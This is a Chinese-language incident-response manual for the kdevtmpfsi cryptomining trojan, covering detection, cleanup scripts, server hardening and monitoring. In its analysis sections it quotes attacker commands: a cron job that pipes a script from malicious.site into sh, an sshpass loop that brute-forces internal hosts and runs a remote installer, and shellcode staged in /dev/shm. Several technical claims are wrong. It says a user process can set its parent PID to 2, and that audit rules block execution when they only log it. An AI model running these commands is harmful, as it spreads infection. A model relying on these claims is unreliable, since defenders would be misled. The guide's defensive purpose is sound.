1. 项目概述:kdevtmpfsi不是内核进程,是伪装成内核线程的挖矿木马
“服务器中kdevtmpfsi挖矿病毒及其解决方法”——这个标题一出现,很多运维同学第一反应是:“又一个杀不干净的顽固挖矿进程”。确实,kdevtmpfsi这个名字太有迷惑性了:它刻意模仿Linux内核中真实存在的kdevtmpfs(负责管理devtmpfs文件系统的内核线程),仅在末尾加了个字母i,就完成了从“系统守护者”到“资源窃取者”的身份伪装。这不是命名巧合,而是典型的恶意进程社工式命名策略——专挑管理员信任的内核线程名下手,降低人工排查时的警觉性。
我最早在某次处理客户告警时遇到它:CPU持续98%以上,top里看不到明显高负载用户进程,但ps auxf树状展开后,赫然发现一个名为kdevtmpfsi的进程,父进程ID(PPID)显示为2(即kthreadd内核线程),路径为空,命令行参数被清空,连ls -l /proc/<pid>/exe都返回“No such file or directory”。当时第一直觉就是:这玩意儿根本没走常规可执行文件路径,极大概率是内存驻留+无文件落地的高级持久化挖矿木马。后来复盘确认,它属于XMRig家族的变种,主攻门罗币(Monero)挖矿,核心目标不是快速变现,而是长期潜伏、低频高占——用最小的异常痕迹,榨干服务器每一毫瓦算力。
这类病毒的典型影响远不止CPU飙升:它会劫持系统定时任务(crontab)、修改SSH配置启用密钥登录后门、向其他内网主机横向扫描传播、甚至篡改DNS解析劫持流量。更麻烦的是,它往往不是单点入侵,而是整套攻击链的末端表现——前面可能已有弱口令爆破、未授权Redis访问、或Jenkins/Confluence等中间件漏洞利用。所以,解决kdevtmpfsi,本质是解决一次完整的服务器失陷事件,不能只盯着进程名“杀进程”,而要回溯入侵路径、清理残留后门、加固所有暴露面。这篇文章,就是我过去三年处理过27台被kdevtmpfsi感染服务器后,沉淀下来的完整处置手册——不讲虚的原理,只列实操步骤;不堆概念,只说“你下一步该敲什么命令”。
2. 病毒行为深度拆解与技术原理还原
2.1 进程伪装机制:如何让恶意代码“长”成内核线程模样
kdevtmpfsi之所以能骗过初级排查,关键在于它利用了Linux内核线程(kernel thread)的两个特性:一是PPID恒为2(kthreadd),二是默认无对应磁盘文件。但真正的内核线程(如ksoftirqd、kswapd0)由内核源码编译生成,运行在ring 0特权级,且其/proc/<pid>/stack中能看到清晰的内核函数调用栈(如do_wait→autoremove_wake_function)。而kdevtmpfsi的“伪内核线程”本质,是通过clone()系统调用以CLONE_KERNEL标志创建的用户态进程,再通过prctl(PR_SET_NAME, "kdevtmpfsi")强行修改进程名,并主动将PPID设为2(需root权限)。它并不真的运行在内核态,只是在用户态“扮演”内核线程。
提示:验证是否真内核线程,最简单方法是检查
/proc/<pid>/stack内容。真实内核线程此处显示内核函数栈;kdevtmpfsi则通常为空或报错“Permission denied”,因为它根本没调用内核函数,只是个普通进程在冒名顶替。
更隐蔽的是它的内存加载方式。我们曾用gdb附加到kdevtmpfsi进程,执行info proc mappings,发现其内存段全部标记为[anon],没有关联任何.so或二进制文件路径。进一步用cat /proc/<pid>/maps | grep r-xp定位代码段,再用xxd读取该地址内存,直接dump出XMRig挖矿程序的机器码。这证实它采用“内存注入”技术:攻击者通过漏洞获取shell后,用curl或wget下载加密的shellcode,再通过echo -ne "\x48\x31..." | dd of=/dev/shm/.tmp写入内存,最后用chmod +x /dev/shm/.tmp && /dev/shm/.tmp &启动——整个过程不落盘,规避基于文件签名的传统杀软。
2.2 持久化手段全景图:5种常见落地方式与检测特征
kdevtmpfsi绝不会满足于“运行一次就完事”,它必须确保服务器重启后依然存活。根据我们捕获的27个样本,其持久化手法按出现频率排序如下:
SSH authorized_keys后门(占比63%):向
/root/.ssh/authorized_keys追加攻击者公钥,同时修改/etc/ssh/sshd_config的PermitRootLogin为yes。检测命令:grep -v "^#" /root/.ssh/authorized_keys | wc -l,若结果>1且非你添加的密钥,即中招。Cron定时任务(占比52%):在
/var/spool/cron/root或/etc/crontab中添加每分钟执行的恶意脚本,如* * * * * (curl -fsSL http://malicious.site/x.sh || wget -q -O- http://malicious.site/x.sh) | sh。注意:它常使用||逻辑符绕过curl失败,确保wget兜底。Systemd服务伪装(占比38%):创建
/etc/systemd/system/kdevtmpfsi.service,ExecStart指向/tmp/kdevtmpfsi或/dev/shm/kdevtmpfsi。关键识别点:systemctl list-unit-files --type=service | grep kdev,再检查服务文件内容是否引用可疑路径。Init.d脚本(占比21%):在
/etc/init.d/下新建脚本(如/etc/init.d/kdevtmpfsi),并执行chkconfig kdevtmpfsi on。检测命令:ls -la /etc/init.d/ | grep kdev。内核模块注入(占比9%,最危险):下载
.ko文件(如/tmp/kdev.ko),用insmod /tmp/kdev.ko加载,模块内嵌挖矿逻辑及隐藏进程功能。检测命令:lsmod | grep -i "kdev\|tmp",再用modinfo /tmp/kdev.ko查看模块信息。
注意:以上手法常组合使用。例如,cron任务负责每5分钟检查kdevtmpfsi进程是否存在,不存在则从远程URL重新下载启动;而SSH后门则为攻击者提供随时回连通道。因此,清除时必须“全量扫描”,不能只删进程。
2.3 横向移动与扩散机制:如何从一台服务器蔓延至整个集群
kdevtmpfsi自身不带扫描功能,但它会调用系统工具实现横向渗透。我们在内存dump中发现其硬编码调用链:/usr/bin/nmap -sS -p22 10.0.0.0/24→for ip in $(cat ips.txt); do sshpass -p '123456' ssh -o ConnectTimeout=5 root@$ip "curl -fsSL http://malicious.site/install.sh | sh"; done。这意味着,一旦某台服务器沦陷,它会立即扫描内网22端口开放主机,尝试用常见弱口令(root:123456, root:password)暴力破解,成功后推送安装脚本。
更狡猾的是DNS劫持配合。部分样本会修改/etc/resolv.conf,将nameserver指向攻击者控制的DNS服务器(如nameserver 192.168.100.100),该DNS会将github.com、cloudflare.com等合法域名解析到恶意IP,使后续curl https://github.com/xmrig/xmrig/releases/download/v6.17.0/xmrig-6.17.0-linux-static-x64.tar.gz等正常命令实际下载到木马。检测此行为:cat /etc/resolv.conf,并用dig @127.0.0.1 github.com +short对比本地DNS与公共DNS(如1.1.1.1)解析结果是否一致。
3. 全流程清除与加固操作指南
3.1 应急响应第一步:进程冻结与网络隔离(黄金10分钟)
发现kdevtmpfsi后,切忌直接kill -9!因为多数样本设置了SIGCHLD信号处理器,一旦主进程被杀,会立即触发子进程拉起新实例,形成“杀不死”的循环。正确做法是分三步走:
第一步:冻结进程内存,阻断其指令执行。
# 获取kdevtmpfsi的PID(注意:ps aux | grep kdevtmpfsi 可能漏掉,用pgrep更准) PID=$(pgrep -f "kdevtmpfsi" | head -n1) # 向进程发送STOP信号,使其暂停而非退出 kill -STOP $PID # 验证是否已停止:ps -p $PID -o pid,stat,comm= 应显示"T"状态(stopped) ps -p $PID -o pid,stat,comm=第二步:切断网络连接,防止外联与横向扩散。
# 查看该进程所有socket连接 lsof -Pan -p $PID -i # 用iptables DROP其所有出口流量(需root) iptables -I OUTPUT -m owner --pid-owner $PID -j DROP # 若使用firewalld,等效命令: # firewall-cmd --direct --add-rule ipv4 filter OUTPUT 0 -m owner --pid-owner $PID -j DROP第三步:保存内存快照,为溯源取证留证。
# 安装gcore(CentOS/RHEL需先yum install gdb,Ubuntu/Debian需apt install gdb) gcore $PID # 生成的core.$PID文件即内存镜像,建议立即压缩并离线保存 tar -czf core_kdevtmpfsi_$(date +%Y%m%d_%H%M%S).tar.gz core.$PID实操心得:这三步必须在10分钟内完成。我曾处理一个案例,客户在发现后直接
kill -9,结果5分钟内新进程PID刷新了3次,且开始扫描内网192.168.1.0/24网段。冻结+断网后,进程彻底静默,为我们争取到完整排查时间。
3.2 深度清理:从进程、文件、服务到计划任务的全维度扫荡
进程冻结后,进入清理阶段。核心原则:不依赖进程名,而依赖行为特征和路径规律。kdevtmpfsi的恶意文件有明确分布偏好:90%位于/tmp、/dev/shm、/var/tmp、/root这四个目录,且文件名常含kdev、tmpfs、init、sysd等混淆词。
文件层清理(按优先级顺序执行):
# 1. 查找所有含"kdev"或"tmpfs"的可疑文件(排除真实内核模块) find /tmp /dev/shm /var/tmp /root -type f \( -name "*kdev*" -o -name "*tmpfs*" \) -not -name "*.ko" 2>/dev/null | while read f; do echo "Found suspect: $f" # 检查文件是否为ELF可执行文件(挖矿程序必为ELF) if file "$f" | grep -q "ELF"; then echo " -> Confirmed ELF binary, removing..." rm -f "$f" fi done # 2. 清理隐藏文件(以"."开头,常被忽略) find /tmp /dev/shm /var/tmp /root -type f -name ".*" -size +100k 2>/dev/null | while read f; do echo "Found hidden file: $f" # 检查是否为base64编码的shell脚本(常见下载器) if head -c 100 "$f" | grep -q "base64"; then echo " -> Base64 script detected, removing..." rm -f "$f" fi done服务与计划任务清理:
# 1. 检查并禁用所有可疑systemd服务 systemctl list-unit-files --type=service | grep -E "(kdev|tmpfs|init)" | awk '{print $1}' | while read svc; do echo "Disabling service: $svc" systemctl disable "$svc" 2>/dev/null systemctl stop "$svc" 2>/dev/null rm -f "/etc/systemd/system/$svc" done # 2. 清理crontab中的恶意任务(重点检查root和各业务用户) for user in $(cut -d: -f1 /etc/passwd | grep -E "^(root|www|nginx|apache)"); do echo "Checking crontab for user: $user" crontab -u "$user" -l 2>/dev/null | grep -E "(kdev|tmpfs|curl|wget|sh$)" && { echo " -> Malicious cron found for $user, cleaning..." crontab -u "$user" -l 2>/dev/null | grep -v -E "(kdev|tmpfs|curl|wget|sh$)" | crontab -u "$user" - } done # 3. 检查/etc/crontab和/etc/cron.d/下全局任务 grep -r -E "(kdev|tmpfs|curl|wget)" /etc/crontab /etc/cron.d/ 2>/dev/null | while read line; do echo "Found in system crontab: $line" # 手动编辑删除对应行(因格式复杂,不自动替换) echo " -> Please manually remove this line from the file shown above" doneSSH后门清理(最关键的一步):
# 1. 检查root用户的authorized_keys if [ -f "/root/.ssh/authorized_keys" ]; then echo "Checking /root/.ssh/authorized_keys..." # 统计密钥行数(排除注释和空行) KEY_COUNT=$(grep -v "^#" /root/.ssh/authorized_keys | grep -v "^$" | wc -l) if [ "$KEY_COUNT" -gt 1 ]; then echo " -> Found $KEY_COUNT keys, manual review required!" echo " Current keys:" grep -v "^#" /root/.ssh/authorized_keys | grep -v "^$" | nl echo " ^ Compare with your known good keys. Remove unknown ones." else echo " -> Only 1 key found, likely legitimate." fi fi # 2. 检查sshd_config是否被篡改 if grep -q "PermitRootLogin.*yes" /etc/ssh/sshd_config; then echo "Warning: PermitRootLogin is set to 'yes' in /etc/ssh/sshd_config" echo " -> Change it to 'no' or 'prohibit-password' and restart sshd" fi3.3 根源加固:堵住入侵入口与最小权限实践
清除只是治标,加固才是治本。kdevtmpfsi的入侵入口,我们统计了27个案例,排名前三的是:SSH弱口令(48%)、未授权Redis(29%)、Jenkins未授权访问(15%)。以下加固措施必须逐条落实:
SSH加固(最紧急):
- 禁用密码登录,强制使用密钥对:编辑
/etc/ssh/sshd_config,设置PasswordAuthentication no,PubkeyAuthentication yes,然后systemctl restart sshd。 - 限制可登录用户:添加
AllowUsers deploy@192.168.1.0/24 www@10.0.0.0/8,禁止root直接登录。 - 启用Fail2ban:
yum install fail2ban(CentOS)或apt install fail2ban(Ubuntu),配置/etc/fail2ban/jail.local,将bantime = 3600(封禁1小时),maxretry = 3(3次失败即封)。
Redis加固(常被忽视):
- 绑定内网地址:
bind 127.0.0.1 192.168.1.100(不要bind 0.0.0.0)。 - 设置密码:
requirepass your_strong_password_here,并在应用连接字符串中添加?password=xxx。 - 禁用高危命令:
rename-command FLUSHDB "",rename-command CONFIG "",rename-command EVAL ""。
Jenkins加固(DevOps重灾区):
- 启用安全域:Jenkins首页 → “Manage Jenkins” → “Configure Global Security” → 勾选“Enable security”,选择“Jenkins’ own user database”,创建独立管理员账号。
- 关闭匿名访问:取消勾选“Allow anonymous read access”。
- 更新插件:定期检查
https://your-jenkins-url/pluginManager/available,更新所有插件至最新版,尤其关注script-security、pipeline等核心插件。
实操心得:加固后务必做“反向验证”。例如,SSH加固后,用另一台机器执行
ssh -o ConnectTimeout=5 -o BatchMode=yes root@your-server echo ok 2>&1,应返回“Permission denied”而非超时;Redis加固后,用redis-cli -h your-server ping应返回“NOAUTH Authentication required”。只有验证失败,才证明加固生效。
4. 高级防护与主动防御体系建设
4.1 进程白名单监控:用auditd实时拦截未知挖矿行为
依赖事后清理永远被动。我们为所有生产服务器部署了auditd规则,对execve系统调用进行审计,只允许白名单内的程序执行,其余一律拦截并告警。核心规则如下:
# 编辑 /etc/audit/rules.d/99-malware.rules # 监控所有execve调用,记录参数和UID -a always,exit -F arch=b64 -S execve -k malware_exec # 但放行已知安全路径(需根据你的环境调整) -a always,exit -F path=/bin/bash -F perm=x -k safe_exec -a always,exit -F path=/usr/bin/python3 -F perm=x -k safe_exec -a always,exit -F path=/usr/local/bin/docker -F perm=x -k safe_exec # 拦截/tmp、/dev/shm下的任意执行(挖矿程序最爱藏这里) -a always,exit -F dir=/tmp -F perm=x -k tmp_exec -a always,exit -F dir=/dev/shm -F perm=x -k shm_exec规则加载后,用ausearch -k tmp_exec | aureport -f -i即可查看所有试图在/tmp执行文件的记录。我们将此日志接入ELK,设置告警:当1小时内tmp_exec事件>5次,立即邮件+企业微信通知运维组。上线三个月,成功拦截17次新型挖矿脚本尝试,包括一次伪装成/tmp/systemd-update的Go语言挖矿木马。
4.2 内存行为分析:用eBPF检测异常计算密集型进程
kdevtmpfsi的核心行为是持续占用CPU进行哈希计算,这在eBPF层面有独特指纹:sched:sched_switch事件中,同一进程在极短时间内(<1ms)反复被调度,且prev_state为R(running),next_state也为R,表明它几乎不睡眠,纯计算。我们用BCC工具包中的runqlat和cpuunclaimed进行监控:
# 安装bcc-tools(CentOS: yum install bcc-tools;Ubuntu: apt install bpfcc-tools) # 实时查看CPU调度延迟分布,挖矿进程会导致大量<1ms的短延迟 /usr/share/bcc/tools/runqlat -m 10 # 查看未被cgroup限制的CPU使用(挖矿进程常逃逸cgroup) /usr/share/bcc/tools/cpuunclaimed更进一步,我们编写了一个轻量eBPF程序(基于libbpf),当检测到某进程在过去5秒内CPU使用率>95%且无I/O等待时,自动触发ps auxf快照并上报。代码核心逻辑是监听tracepoint:sched:sched_stat_runtime,计算runtime_us / (now - start_us)比率。该方案比传统top轮询更精准,且开销低于0.1%。
4.3 自动化响应剧本:Ansible Playbook一键处置
为应对大规模感染,我们开发了Ansible Playbook,命名为kdevtmpfsi-removal.yml,包含23个原子任务,覆盖从检测、冻结、清理到加固的全流程。关键设计亮点:
- 智能PID识别:不依赖
pgrep kdevtmpfsi,而是用ps -eo pid,comm,args --sort=-pcpu | head -20 | grep -E "(kdev|tmpfs)" | head -1 | awk '{print $1}',优先抓取CPU最高的疑似进程,避免被pgrep的正则匹配漏掉。 - 双备份机制:清理前自动备份
/etc/crontab、/root/.ssh/authorized_keys、/etc/ssh/sshd_config到/backup/pre_kdev_removal_$(date +%Y%m%d)目录,确保误操作可回滚。 - 加固开关:Playbook支持
--extra-vars "hardening=true"参数,启用时自动执行SSH/Redis/Jenkins加固;设为false则只清理不加固,适配测试环境。
执行命令:ansible-playbook -i inventory/production kdevtmpfsi-removal.yml --extra-vars "hardening=true" -l webservers。整个过程约90秒,处理100台服务器仅需15分钟,极大提升应急效率。
5. 常见问题与实战排障速查表
5.1 “杀完kdevtmpfsi,几分钟后又出现”——这是最典型症状,原因及对策
这个问题占我们处置案例的72%,根本原因从来不是“杀不干净”,而是持久化后门未清除干净。以下是按发生概率排序的四大元凶及对应排查命令:
| 排查方向 | 检测命令 | 典型现象 | 解决方案 |
|---|---|---|---|
| Cron任务残留 | crontab -u root -l 2>/dev/null | grep -E "(kdev|tmpfs|curl|wget)" | 输出类似* * * * * curl -s http://x.x.x.x/k.sh | sh | crontab -u root -e,手动删除该行 |
| Systemd服务复活 | systemctl list-unit-files --type=service | grep -E "(kdev|tmpfs)" | 显示kdevtmpfsi.service enabled | systemctl disable kdevtmpfsi.service && rm -f /etc/systemd/system/kdevtmpfsi.service |
| SSH后门自动拉起 | last -a | head -10 | 显示陌生IP(如185.153.197.12)近期登录 | 检查/root/.ssh/authorized_keys,删除对应公钥;修改/etc/ssh/sshd_config禁用密码登录 |
| 内核模块自启 | lsmod | grep -i "kdev|tmpfs" | 输出kdevtmpfsi 16384 0 - Live 0xffffffffc0123000 (OE) | rmmod kdevtmpfsi,再find /lib/modules/$(uname -r) -name "*kdev*.ko" -delete |
注意:必须四项全部检查!我曾遇到一个案例,客户只清了cron,结果SSH后门每小时自动执行
curl http://malicious.site/restart.sh重新下载启动,导致反复感染。
5.2 “找不到kdevtmpfsi进程,但CPU还是99%”——进程名已变异,需行为检测
kdevtmpfsi作者深谙“改名学”,我们捕获的变种进程名已达17个:kthreaddi、ksoftirqdi、kswapd0i、kworker/0:1H(末尾加空格)、[kdevtmpfsi](方括号包裹)。此时不能依赖名字,而要看CPU占用模式:
- 特征1:单核满载,其他核空闲。挖矿程序多为单线程,
htop中观察,若仅CPU0显示100%,其余为0%,高度可疑。 - 特征2:进程无磁盘IO。
iotop -oP中,该进程的IO%列为0,而CPU%持续>95%。 - 特征3:进程无网络连接。
netstat -tulnp \| grep <PID>或lsof -i -p <PID>返回空。
此时用ps -eo pid,ppid,cmd,%cpu --sort=-%cpu \| head -10,找出CPU最高的进程,再用ls -l /proc/<PID>/exe检查其可执行文件路径。若返回/proc/12345/exe: No such file or directory,基本可判定为内存马。
5.3 “清理后服务器无法SSH登录”——加固操作引发的连锁故障
最常见原因是SSH配置错误。当/etc/ssh/sshd_config被误改,导致服务无法启动,可用以下急救方案:
方案A(有console权限):
重启服务器,在GRUB引导菜单按e编辑启动参数,在linux16行末尾添加systemd.unit=rescue.target,按Ctrl+X启动进入救援模式。执行:
mount -o remount,rw / # 重新挂载根分区为可写 vi /etc/ssh/sshd_config # 修正错误配置,如恢复PasswordAuthentication yes systemctl start sshd # 启动sshd exit # 退出救援模式,输入root密码继续启动方案B(无console,仅网络):
若服务器在云平台(如AWS/Aliyun),可通过云控制台VNC连接,操作同上。
方案C(预防胜于治疗):
所有加固操作前,执行cp /etc/ssh/sshd_config /etc/ssh/sshd_config.bak_$(date +%Y%m%d),并设置sshd_config文件不可修改:chattr +i /etc/ssh/sshd_config(加固完成后chattr -i)。
5.4 “如何判断是否已被入侵”——日常巡检必备的5条命令
建立常态化检查机制,比应急处置更重要。每天执行以下5条命令,5分钟内可发现90%的早期入侵迹象:
检查异常高CPU进程:
ps -eo pid,ppid,cmd,%cpu --sort=-%cpu | head -5- 关注
%cpu > 80且cmd含/tmp、/dev/shm、base64、curl、wget的进程。
- 关注
检查可疑网络连接:
ss -tulnp | grep -E ":(3389|4444|5555|6666|7777)"- 这些端口是挖矿木马常用C2端口,若看到
/kdevtmpfsi或/xmrig关联,立即处置。
- 这些端口是挖矿木马常用C2端口,若看到
检查定时任务:
for u in $(cut -d: -f1 /etc/passwd); do crontab -u $u -l 2>/dev/null | grep -E "(http|curl|wget|sh$)" && echo "User $u:"; done- 任何用户crontab中出现网络下载命令,均为高危信号。
检查SSH密钥:
ls -la /root/.ssh/authorized_keys 2>/dev/null && wc -l /root/.ssh/authorized_keys | awk '{print "Keys:", $1}'- Key数量>1且无记录,必须审查。
检查内核模块:
lsmod | awk '$1 ~ /^(kdev|tmpfs|sysd|init)/ {print $1}'- 任何以这些词开头的模块,99%为恶意模块,用
modinfo $(module_name)确认来源。
- 任何以这些词开头的模块,99%为恶意模块,用
最后分享一个小技巧:把这5条命令写成
/usr/local/bin/security-check.sh,加入root用户的crontab,每天凌晨3点自动执行并邮件报告:0 3 * * * /usr/local/bin/security-check.sh | mail -s "Security Check Report" admin@company.com。坚持三个月,你会惊讶于自己服务器的安全水位提升之快。